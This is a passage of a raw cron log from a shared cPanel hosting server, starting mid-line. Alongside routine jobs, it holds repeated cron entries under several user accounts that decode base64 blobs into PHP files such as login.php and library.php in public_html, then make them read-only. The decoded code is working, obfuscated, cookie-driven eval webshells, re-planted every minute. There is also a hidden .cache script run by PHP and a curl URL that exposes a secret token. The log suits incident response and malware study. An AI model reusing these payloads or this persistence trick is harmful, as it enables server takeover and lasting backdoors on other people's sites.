eWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:31:01 medusa CROND[28467]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:31:01 medusa CROND[28470]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:31:01 medusa CROND[28473]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:32:02 medusa CROND[30166]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 11:32:02 medusa CROND[30171]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:32:02 medusa CROND[30172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:32:02 medusa CROND[30173]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:32:02 medusa CROND[30175]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:32:02 medusa CROND[30174]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:32:02 medusa CROND[30176]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:32:02 medusa CROND[30178]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:32:02 medusa CROND[30180]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:32:02 medusa CROND[30181]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:32:02 medusa CROND[30182]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:32:02 medusa CROND[30186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:32:02 medusa CROND[30187]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:33:02 medusa CROND[31543]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:33:02 medusa CROND[31545]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:33:02 medusa CROND[31544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:33:02 medusa CROND[31547]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:33:02 medusa CROND[31548]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:33:02 medusa CROND[31546]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 11:33:02 medusa CROND[31549]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:33:02 medusa CROND[31550]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:33:02 medusa CROND[31551]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:33:02 medusa CROND[31552]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:33:02 medusa CROND[31556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:33:02 medusa CROND[31557]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:34:01 medusa CROND[525]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 11:34:01 medusa CROND[526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:34:01 medusa CROND[527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
